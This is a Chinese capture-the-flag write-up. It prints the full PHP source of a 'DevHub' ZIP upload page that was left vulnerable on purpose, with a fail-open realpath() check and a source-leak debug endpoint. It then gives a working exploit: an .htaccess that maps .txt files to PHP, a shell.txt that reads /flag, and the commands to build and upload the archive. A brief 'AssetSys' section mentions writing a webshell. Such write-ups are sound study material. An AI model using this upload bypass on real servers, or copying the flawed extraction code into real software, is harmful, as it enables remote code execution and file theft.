DevHub

访问首页可以看到这是一个支持 ZIP 上传与自动解压的“内部代码包分发站”。

在发布包功能中可以,直接查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
<?php
// 开发者调试接口(上线时忘记删除)
if (isset($_GET['source'])) {
header('Content-Type: text/plain; charset=utf-8');
echo file_get_contents(__FILE__);
exit;
}

$error = '';
$success = '';
$pkg_url = '';

/**
* 安全解压 ZIP 包到目标目录
*
* 安全策略:
* 1. 拦截可执行脚本扩展名(.php/.phtml/.phar 等)
* 2. 使用 realpath() 防止路径穿越攻击
*/
function extract_package(string $zip_path, string $dest_dir): array
{
$zip = new ZipArchive();
if ($zip->open($zip_path) !== true) {
return ['ok' => false, 'err' => '无法打开 ZIP 文件'];
}

$extracted = [];

for ($i = 0; $i < $zip->numFiles; $i++) {
$entry = $zip->getNameIndex($i);

// 跳过目录条目
if (substr($entry, -1) === '/') {
continue;
}

// 安全检查 1:禁止上传可执行脚本
if (preg_match('/\.(php\d*|phtml|phar|shtml)$/i', $entry)) {
continue;
}

$dest_file = $dest_dir . DIRECTORY_SEPARATOR . $entry;

// 安全检查 2:使用 realpath() 防止路径穿越
// realpath() 返回规范化绝对路径,可检测 ../ 穿越
// 注意:若目标路径不存在,realpath() 返回 false
$real_dest_dir = realpath(dirname($dest_file));
$real_base = realpath($dest_dir);

if ($real_dest_dir !== false && $real_base !== false) {
// 路径已解析:验证是否在目标目录内
if (strpos($real_dest_dir . DIRECTORY_SEPARATOR, $real_base . DIRECTORY_SEPARATOR) !== 0) {
// 检测到路径穿越,跳过此文件
continue;
}
}
// 若 realpath() 返回 false(路径不存在),直接信任并继续
// —— 开发者认为不存在的路径不构成威胁 ——

// 创建目标目录并写入文件
$dir = dirname($dest_file);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
file_put_contents($dest_file, $zip->getFromIndex($i));
$extracted[] = $entry;
}

$zip->close();
return ['ok' => true, 'files' => $extracted];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['package'])) {
$f = $_FILES['package'];

if ($f['error'] !== UPLOAD_ERR_OK) {
$error = '上传失败,错误码:' . $f['error'];
} elseif (!preg_match('/\.zip$/i', $f['name'])) {
$error = '请上传 .zip 格式的代码包';
} elseif ($f['size'] > 10 * 1024 * 1024) {
$error = '文件大小不能超过 10MB';
} else {
// 创建唯一包目录
$pkg_id = substr(md5(uniqid(rand(), true)), 0, 12);
$pkg_dir = __DIR__ . '/packages/' . $pkg_id;
mkdir($pkg_dir, 0755, true);

$result = extract_package($f['tmp_name'], $pkg_dir);

if ($result['ok']) {
$count = count($result['files']);
$success = "代码包发布成功!解压了 {$count} 个文件,包 ID:{$pkg_id}";
$pkg_url = '/view.php?id=' . urlencode($pkg_id);
} else {
$error = $result['err'];
rmdir($pkg_dir);
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>发布代码包 — DevHub</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Segoe UI',system-ui,monospace;background:#0d1117;color:#c9d1d9;min-height:100vh}
header{background:#161b22;border-bottom:1px solid #30363d;padding:14px 40px;display:flex;align-items:center;gap:14px}
.logo{width:32px;height:32px;background:linear-gradient(135deg,#238636,#2ea043);border-radius:6px;display:flex;align-items:center;justify-content:center;font-size:16px}
header h1{font-size:1.15rem;font-weight:600;color:#e6edf3}
header .tag{font-size:.72rem;background:#1f2937;color:#3fb950;border:1px solid #238636;padding:2px 8px;border-radius:4px;font-family:monospace}
nav{background:#161b22;border-bottom:1px solid #30363d;padding:0 40px}
nav a{color:#8b949e;text-decoration:none;padding:12px 16px;font-size:.88rem;display:inline-block;border-bottom:2px solid transparent}
nav a:hover{color:#e6edf3}
nav a.active{color:#e6edf3;border-bottom-color:#f78166}
.container{max-width:700px;margin:0 auto;padding:40px 24px}
h2{font-size:1.4rem;font-weight:600;color:#e6edf3;margin-bottom:8px}
.subtitle{color:#8b949e;font-size:.88rem;margin-bottom:28px}
.card{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:28px}
label{display:block;font-size:.85rem;color:#c9d1d9;margin-bottom:6px;font-weight:500}
.hint{font-size:.78rem;color:#6e7681;margin-top:4px}
.drop-zone{border:2px dashed #30363d;border-radius:8px;padding:48px 24px;text-align:center;cursor:pointer;transition:.2s;background:#0d1117;margin-bottom:8px}
.drop-zone:hover{border-color:#388bfd;background:#1c2433}
.drop-zone input{display:none}
.drop-zone .icon{font-size:2rem;margin-bottom:8px}
.drop-zone strong{color:#79c0ff;display:block;margin-bottom:4px}
.drop-zone small{color:#6e7681;font-size:.8rem}
input[type=text]{width:100%;background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:8px 12px;color:#e6edf3;font-size:.9rem;outline:none;transition:.15s}
input[type=text]:focus{border-color:#388bfd}
.form-group{margin-bottom:20px}
.btn{display:inline-flex;align-items:center;gap:6px;padding:9px 20px;border-radius:6px;border:1px solid;font-size:.88rem;font-weight:500;cursor:pointer;transition:.15s;text-decoration:none}
.btn-green{background:#238636;border-color:#2ea043;color:#fff}
.btn-green:hover{background:#2ea043}
.alert{padding:12px 16px;border-radius:6px;font-size:.85rem;margin-bottom:20px}
.alert-ok{background:#0d2e1a;border:1px solid #238636;color:#3fb950}
.alert-err{background:#2d0c0c;border:1px solid #da3633;color:#f85149}
.security-note{margin-top:20px;background:#12151a;border:1px solid #21262d;border-radius:6px;padding:14px 18px;font-size:.8rem;color:#6e7681}
.security-note ul{list-style:none;padding:0;margin-top:8px}
.security-note li{padding:3px 0;display:flex;align-items:center;gap:7px}
.security-note li::before{content:'🔒';font-size:.8rem}
.file-info{background:#12151a;border:1px solid #21262d;border-radius:6px;padding:10px 14px;font-size:.82rem;color:#79c0ff;margin-top:8px;display:none}
</style>
</head>
<body>
<header>
<div class="logo">📦</div>
<h1>DevHub</h1>
<span class="tag">internal · v1.0</span>
</header>
<nav>
<a href="/">代码包</a>
<a href="/upload.php" class="active">发布包</a>
</nav>
<div class="container">
<h2>发布新代码包</h2>
<p class="subtitle">上传 ZIP 压缩包,系统将自动解压并发布到分发仓库</p>

<?php if ($error): ?>
<div class="alert alert-err">⚠ <?= htmlspecialchars($error) ?></div>
<?php endif; ?>

<?php if ($success): ?>
<div class="alert alert-ok">
✓ <?= htmlspecialchars($success) ?>
<?php if ($pkg_url): ?>
&nbsp;<a href="<?= htmlspecialchars($pkg_url) ?>" style="color:#79c0ff">查看包内容 →</a>
<?php endif; ?>
</div>
<?php endif; ?>

<div class="card">
<form method="post" enctype="multipart/form-data">
<div class="form-group">
<label>代码包文件 (.zip)</label>
<div class="drop-zone" onclick="document.getElementById('zipInput').click()">
<label>
<input type="file" id="zipInput" name="package" accept=".zip">
<div class="icon">🗜️</div>
<strong>点击选择 ZIP 文件</strong>
<small>最大 10MB · 仅限 .zip 格式</small>
</label>
</div>
<div class="file-info" id="fileInfo">📦 <span id="fileName"></span></div>
<p class="hint">ZIP 包将被解压至专属目录,文件可通过浏览器直接访问</p>
</div>
<button type="submit" class="btn btn-green">⬆ 发布代码包</button>
</form>

<div class="security-note">
<strong style="color:#8b949e">安全说明:</strong>
<ul>
<li>自动过滤 PHP/PHTML/PHAR 等可执行脚本文件</li>
<li>使用 realpath() 防止 ZIP 路径穿越(ZipSlip)攻击</li>
<li>每个包分配独立隔离目录,防止文件覆盖</li>
</ul>
</div>
</div>

<p style="margin-top:16px;font-size:.75rem;color:#484f58;text-align:center">
提示:开发者模式已启用 · <a href="?source=1" style="color:#6e7681">查看源码</a>
</p>
</div>
<script>
document.getElementById('zipInput').addEventListener('change', function() {
if (this.files[0]) {
document.getElementById('fileInfo').style.display = 'block';
document.getElementById('fileName').textContent =
this.files[0].name + ' (' + (this.files[0].size / 1024).toFixed(1) + ' KB)';
}
});
</script>
</body>
</html>

源码中 ZIP 解压逻辑如下:

1
2
3
4
5
6
7
8
9
10
$dest_file = $dest_dir . DIRECTORY_SEPARATOR . $entry;
$real_dest_dir = realpath(dirname($dest_file));
$real_base = realpath($dest_dir);

if ($real_dest_dir !== false && $real_base !== false) {
if (strpos($real_dest_dir . DIRECTORY_SEPARATOR, $real_base . DIRECTORY_SEPARATOR) !== 0) {
continue;
}
}
// 若 realpath() 返回 false(路径不存在),直接信任并继续

拦截了 .php/.phtml/.phar,以及realpath() 防 ZipSlip

过滤了.php文件,但是我们可以上传.htaccess然后上传允许的文件,内容为php代码,把这个文件让apache解析php代码

.htaccess

1
AddType application/x-httpd-php .txt

shell.txt

1
<?=file_get_contents("/flag")?>

用下面命令构造zip

1
2
3
printf 'AddType application/x-httpd-php .txt\n' > .htaccess
printf '<?=file_get_contents("/flag")?>' > shell.txt
zip exploit.zip .htaccess shell.txt

上传 exploit.zip 后,页面返回一个包 ID,记住

然后直接访问:

1
http://111.228.17.9:18092/packages/24ec367ed1f9/shell.txt

页面返回:

1
flag{z1p_sl1p_r34lp4th_byp4ss}

AssetSys

首页数据展示异常直接泄露了 flag。

image-20260426102031959

或者

写个马就行了

image-20260426104441089

重新上传了一个马,之前不知道为什么一直语法错误

image-20260426104931675